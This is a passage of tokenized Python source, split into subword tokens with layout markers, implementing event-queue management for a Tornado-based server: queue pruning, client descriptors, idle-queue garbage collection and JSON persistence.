"\"",
"flags",
"/\"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"virtual",
"\\u",
"event_",
"[_",
"\"",
"message",
"s",
"\"_",
"]_",
"+=_",
"event_",
"[_",
"\"",
"message",
"s",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"queue_",
"._",
"append_",
"(_",
"event_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Event",
"Queue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"pop_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"queue_",
"._",
"popleft_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Event",
"Queue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"empty_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"len_",
"(_",
"self_",
"._",
"queue_",
")_",
"==_",
"0_",
"and_",
"len_",
"(_",
"self_",
"._",
"virtual",
"\\u",
"events_",
")_",
"==_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Event",
"Queue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"prune",
"_",
"(_",
"self_",
",_",
"through",
"\\u",
"id_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"while_",
"len_",
"(_",
"self_",
"._",
"queue_",
")_",
"!=_",
"0_",
"and_",
"self_",
"._",
"queue_",
"[_",
"0_",
"]_",
"[_",
"'",
"id",
"'_",
"]_",
"<=_",
"through",
"\\u",
"id_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"pop_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Event",
"Queue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"contents_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"contents_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"virtual",
"\\u",
"id",
"\\u",
"map_",
"=_",
"{_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"event",
"\\u",
"type_",
"in_",
"self_",
"._",
"virtual",
"\\u",
"events_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"virtual",
"\\u",
"id",
"\\u",
"map_",
"[_",
"self_",
"._",
"virtual",
"\\u",
"events_",
"[_",
"event",
"\\u",
"type_",
"]_",
"[_",
"\"",
"id",
"\"_",
"]_",
"]_",
"=_",
"self_",
"._",
"virtual",
"\\u",
"events_",
"[_",
"event",
"\\u",
"type_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"virtual",
"\\u",
"ids_",
"=_",
"sorted_",
"(_",
"list_",
"(_",
"virtual",
"\\u",
"id",
"\\u",
"map_",
"._",
"keys_",
"(_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Merge",
" ",
"the",
" ",
"virtual",
" ",
"events",
" ",
"int",
"o",
" ",
"thei",
"r",
" ",
"final",
" ",
"place",
" ",
"in",
" ",
"the",
" ",
"queue_",
"\\u\\u\\uNL\\u\\u\\u_",
"index_",
"=_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"length_",
"=_",
"len_",
"(_",
"virtual",
"\\u",
"ids_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"event_",
"in_",
"self_",
"._",
"queue_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"while_",
"index_",
"<_",
"length_",
"and_",
"virtual",
"\\u",
"ids_",
"[_",
"index_",
"]_",
"<_",
"event_",
"[_",
"\"",
"id",
"\"_",
"]_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"contents_",
"._",
"append_",
"(_",
"virtual",
"\\u",
"id",
"\\u",
"map_",
"[_",
"virtual",
"\\u",
"ids_",
"[_",
"index_",
"]_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"index_",
"+=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"contents_",
"._",
"append_",
"(_",
"event_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"while_",
"index_",
"<_",
"length_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"contents_",
"._",
"append_",
"(_",
"virtual",
"\\u",
"id",
"\\u",
"map_",
"[_",
"virtual",
"\\u",
"ids_",
"[_",
"index_",
"]_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"index_",
"+=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"virtual",
"\\u",
"events_",
"=_",
"{_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"queue_",
"=_",
"deque_",
"(_",
"contents_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"contents_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"add",
"\\u",
"client",
"\\u",
"gc",
"\\u",
"hook_",
"(_",
"hook_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"gc",
"\\u",
"hooks_",
"._",
"append_",
"(_",
"hook_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"\\u",
"client",
"\\u",
"descriptor_",
"(_",
"queue",
"\\u",
"id_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"clients_",
"._",
"get_",
"(_",
"queue",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"\\u",
"client",
"\\u",
"descrip",
"tors",
"\\u",
"for",
"\\u",
"user_",
"(_",
"user",
"\\u",
"profile",
"\\u",
"id_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"user",
"\\u",
"clients_",
"._",
"get_",
"(_",
"user",
"\\u",
"profile",
"\\u",
"id_",
",_",
"[_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"\\u",
"client",
"\\u",
"descrip",
"tors",
"\\u",
"for",
"\\u",
"real",
"m",
"\\u",
"all",
"\\u",
"streams_",
"(_",
"real",
"m",
"\\u",
"id_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"real",
"m",
"\\u",
"clients",
"\\u",
"all",
"\\u",
"streams_",
"._",
"get_",
"(_",
"real",
"m",
"\\u",
"id_",
",_",
"[_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"add",
"\\u",
"to",
"\\u",
"client",
"\\u",
"dicts_",
"(_",
"client_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"user",
"\\u",
"clients_",
"._",
"setdefault_",
"(_",
"client_",
"._",
"user",
"\\u",
"profile",
"\\u",
"id_",
",_",
"[_",
"]_",
")_",
"._",
"append_",
"(_",
"client_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"client_",
"._",
"all",
"\\u",
"public",
"\\u",
"streams_",
"or_",
"client_",
"._",
"narrow",
"_",
"!=_",
"[_",
"]_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"real",
"m",
"\\u",
"clients",
"\\u",
"all",
"\\u",
"streams_",
"._",
"setdefault_",
"(_",
"client_",
"._",
"real",
"m",
"\\u",
"id_",
",_",
"[_",
"]_",
")_",
"._",
"append_",
"(_",
"client_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"allocate",
"\\u",
"client",
"\\u",
"descriptor_",
"(_",
"new",
"\\u",
"queue",
"\\u",
"data_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"global_",
"next",
"\\u",
"queue",
"\\u",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"queue",
"\\u",
"id_",
"=_",
"str_",
"(_",
"settings_",
"._",
"SERVER",
"\\u",
"GENERAT",
"ION_",
")_",
"+_",
"':'_",
"+_",
"str_",
"(_",
"next",
"\\u",
"queue",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"next",
"\\u",
"queue",
"\\u",
"id_",
"+=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"new",
"\\u",
"queue",
"\\u",
"data_",
"[_",
"\"",
"event",
"\\u",
"queue",
"\"_",
"]_",
"=_",
"Event",
"Queue_",
"(_",
"queue",
"\\u",
"id_",
")_",
"._",
"to",
"\\u",
"dict_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"client_",
"=_",
"Client",
"Descriptor_",
"._",
"from",
"\\u",
"dict_",
"(_",
"new",
"\\u",
"queue",
"\\u",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"clients_",
"[_",
"queue",
"\\u",
"id_",
"]_",
"=_",
"client_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"add",
"\\u",
"to",
"\\u",
"client",
"\\u",
"dicts_",
"(_",
"client_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"client_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"do",
"\\u",
"gc",
"\\u",
"event",
"\\u",
"queues_",
"(_",
"to",
"\\u",
"remove_",
",_",
"affect",
"ed",
"\\u",
"users_",
",_",
"affect",
"ed",
"\\u",
"real",
"ms_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"filter",
"\\u",
"client",
"\\u",
"dict_",
"(_",
"client",
"\\u",
"dict_",
",_",
"key_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"key_",
"not_",
"in_",
"client",
"\\u",
"dict_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"new",
"\\u",
"client",
"\\u",
"list_",
"=_",
"[_",
"c_",
"for_",
"c_",
"in_",
"client",
"\\u",
"dict_",
"[_",
"key_",
"]_",
"if_",
"c_",
"._",
"event",
"\\u",
"queue_",
"._",
"id_",
"not_",
"in_",
"to",
"\\u",
"remove_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"len_",
"(_",
"new",
"\\u",
"client",
"\\u",
"list_",
")_",
"==_",
"0_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"del_",
"client",
"\\u",
"dict_",
"[_",
"key_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"client",
"\\u",
"dict_",
"[_",
"key_",
"]_",
"=_",
"new",
"\\u",
"client",
"\\u",
"list_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"for_",
"user",
"\\u",
"id_",
"in_",
"affect",
"ed",
"\\u",
"users_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"filter",
"\\u",
"client",
"\\u",
"dict_",
"(_",
"user",
"\\u",
"clients_",
",_",
"user",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"for_",
"real",
"m",
"\\u",
"id_",
"in_",
"affect",
"ed",
"\\u",
"real",
"ms_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"filter",
"\\u",
"client",
"\\u",
"dict_",
"(_",
"real",
"m",
"\\u",
"clients",
"\\u",
"all",
"\\u",
"streams_",
",_",
"real",
"m",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"for_",
"id_",
"in_",
"to",
"\\u",
"remove_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"cb_",
"in_",
"gc",
"\\u",
"hooks_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"cb_",
"(_",
"clients_",
"[_",
"id_",
"]_",
"._",
"user",
"\\u",
"profile",
"\\u",
"id_",
",_",
"clients_",
"[_",
"id_",
"]_",
",_",
"clients_",
"[_",
"id_",
"]_",
"._",
"user",
"\\u",
"profile",
"\\u",
"id_",
"not_",
"in_",
"user",
"\\u",
"clients_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"del_",
"clients_",
"[_",
"id_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"gc",
"\\u",
"event",
"\\u",
"queues_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"start_",
"=_",
"time_",
"._",
"time_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"to",
"\\u",
"remove_",
"=_",
"set_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"affect",
"ed",
"\\u",
"users_",
"=_",
"set_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"affect",
"ed",
"\\u",
"real",
"ms_",
"=_",
"set_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"(_",
"id_",
",_",
"client_",
")_",
"in_",
"six_",
"._",
"iteritems_",
"(_",
"clients_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"client_",
"._",
"idle_",
"(_",
"start_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"to",
"\\u",
"remove_",
"._",
"add_",
"(_",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"affect",
"ed",
"\\u",
"users_",
"._",
"add_",
"(_",
"client_",
"._",
"user",
"\\u",
"profile",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"affect",
"ed",
"\\u",
"real",
"ms_",
"._",
"add_",
"(_",
"client_",
"._",
"real",
"m",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"We",
" ",
"don",
"'",
"t",
" ",
"need",
" ",
"to",
" ",
"call",
" ",
"e",
".",
"g",
".",
" ",
"finish",
"\\u",
"current",
"\\u",
"handler",
" ",
"on",
" ",
"the",
" ",
"clients_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"bei",
"ng",
" ",
"remove",
"d",
" ",
"bec",
"aus",
"e",
" ",
"the",
"y",
" ",
"are",
" ",
"guaran",
"tee",
"d",
" ",
"to",
" ",
"be",
" ",
"idle",
" ",
"and",
" ",
"thu",
"s_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"not",
" ",
"have",
" ",
"a",
" ",
"current",
" ",
"handler",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"do",
"\\u",
"gc",
"\\u",
"event",
"\\u",
"queues_",
"(_",
"to",
"\\u",
"remove_",
",_",
"affect",
"ed",
"\\u",
"users_",
",_",
"affect",
"ed",
"\\u",
"real",
"ms_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"logging_",
"._",
"info_",
"(_",
"(_",
"'",
"Tor",
"nad",
"o",
" ",
"remove",
"d",
" ",
"%",
"d",
" ",
"idle",
" ",
"event",
" ",
"queue",
"s",
" ",
"owned",
" ",
"by",
" ",
"%",
"d",
" ",
"users",
" ",
"in",
" ",
"%",
".3",
"fs",
".'_",
"\\u\\u\\uNL\\u\\u\\u_",
"+_",
"'",
" ",
" ",
"No",
"w",
" ",
"%",
"d",
" ",
"active",
" ",
"queue",
"s",
",",
" ",
"%",
"s",
"'_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"%_",
"(_",
"len_",
"(_",
"to",
"\\u",
"remove_",
")_",
",_",
"len_",
"(_",
"affect",
"ed",
"\\u",
"users_",
")_",
",_",
"time_",
"._",
"time_",
"(_",
")_",
"-_",
"start_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"len_",
"(_",
"clients_",
")_",
",_",
"handler",
"\\u",
"stats",
"\\u",
"string_",
"(_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"statsd",
"_",
"._",
"gauge",
"_",
"(_",
"'",
"torn",
"ado",
".",
"active",
"\\u",
"queue",
"s",
"'_",
",_",
"len_",
"(_",
"clients_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"statsd",
"_",
"._",
"gauge",
"_",
"(_",
"'",
"torn",
"ado",
".",
"active",
"\\u",
"users",
"'_",
",_",
"len_",
"(_",
"user",
"\\u",
"clients_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"dump",
"\\u",
"event",
"\\u",
"queues_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"start_",
"=_",
"time_",
"._",
"time_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"with_",
"open_",
"(_",
"settings_",
"._",
"JSO",
"N",
"\\u",
"PERS",
"ISTE",
"NT",
"\\u",
"QUEUE",
"\\u",
"FILENAME_",
",_",
"\"",
"w",
"\"_",
")_",
"as_",
"store",
"d\\u",
"queues_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"ujson_",
"._",
"dump_",
"(_",
"[_",
"(_",
"qid_",
",_",
"client_",
"._",
"to",
"\\u",
"dict_",
"(_",
")_",
")_",
"for_",
"(_",
"qid_",
",_",
"client_",
")_",
"in_",
"six_",
"._",
"iteritems_",
"(_",
"clients_",
")_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"store",
"d\\u",
"queues_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"logging_",
"._",
"info_",
"(_",
"'",
"Tor",
"nad",
"o",
" ",
"dumped",
" ",
"%",
"d",
" ",
"event",
" ",
"queue",
"s",
" ",
"in",
" ",
"%",
".3",
"fs",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"%_",
"(_",
"len_",
"(_",
"clients_",
")_",
",_",
"time_",
"._",
"time_",
"(_",
")_",
"-_",
"start_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"load",
"\\u",
"event",
"\\u",
"queues_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"global_",
"clients_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"start_",
"=_",
"time_",
"._",
"time_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"uj",
"son",
" ",
"cho",
"kes",
" ",
"on",
" ",
"bad",
" ",
"input",
" ",
"pretty",
" ",
"easi",
"ly",
".",
" ",
" ",
"We",
" ",
"separate",
" ",
"out",
" ",
"the",
" ",
"actual_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"file",
" ",
"readi",
"ng",
" ",
"from",
" ",
"the",
" ",
"load",
"ing",
" ",
"so",
" ",
"tha",
"t",
" ",
"we",
" ",
"don",
"'",
"t",
" ",
"silently",
" ",
"fail",
" ",
"if",
" ",
"we",
" ",
"get_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"bad",
" ",
"input",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"with_",
"open_",
"(_",
"settings_",
"._",
"JSO",
"N",
"\\u",
"PERS",
"ISTE",
"NT",
"\\u",
"QUEUE",
"\\u",
"FILENAME_",
",_",
"\"",
"r",
"\"_",
")_",
"as_",
"store",
"d\\u",
"queues_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"json",
"\\u",
"data_",
"=_",
"store",
"d\\u",
"queues_",
"._",
"read_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"clients_",
"=_",
"dict_",
"(_",
"(_",
"qid_",
",_",
"Client",
"Descriptor_",
"._",
"from",
"\\u",
"dict_",
"(_",
"client_",
")_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"(_",
"qid_",
",_",
"client_",
")_",
"in_",
"ujson_",
"._",
"loads_",
"(_",
"json",
"\\u",
"data_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Exception_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logging_",
"._",
"exception_",
"(_",
"\"",
"Cou",
"ld",
" ",
"not",
" ",
"deserialize",
" ",
"event",
" ",
"queue",
"s",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"(_",
"IO",
"Error_",
",_",
"EO",
"FE",
"rror_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"for_",
"client_",
"in_",
"six_",
"._",
"itervalues_",
"(_",
"clients_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Put",
" ",
"code",
" ",
"for",
" ",
"migrati",
"ons",
" ",
"due",
" ",
"to",
" ",
"event",
" ",
"queue",
" ",
"data",
" ",
"format",
" ",
"change",
"s",
" ",
"here_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"add",
"\\u",
"to",
"\\u",
"client",
"\\u",
"dicts_",
"(_",
"client_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"logging_",
"._",
"info_",
"(_",
"'",
"Tor",
"nad",
"o",
" ",
"load",
"ed",
" ",
"%",
"d",
" ",
"event",
" ",
"queue",
"s",
" ",
"in",
" ",
"%",
".3",
"fs",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"%_",
"(_",
"len_",
"(_",
"clients_",
")_",
",_",
"time_",
"._",
"time_",
"(_",
")_",
"-_",
"start_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"\\u",
"restart",
"\\u",
"events_",
"(_",
"immediate",
"_",
"=_",
"False_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"event_",
"=_",
"dict_",
"(_",
"type_",
"=_",
"'",
"restart",
"'_",
",_",
"server",
"\\u",
"generation_",
"=_",
"settings_",
"._",
"SERVER",
"\\u",
"GENERAT",
"ION_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"immediate",
"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"event_",
"[_",
"'",
"immediate",
"'_",
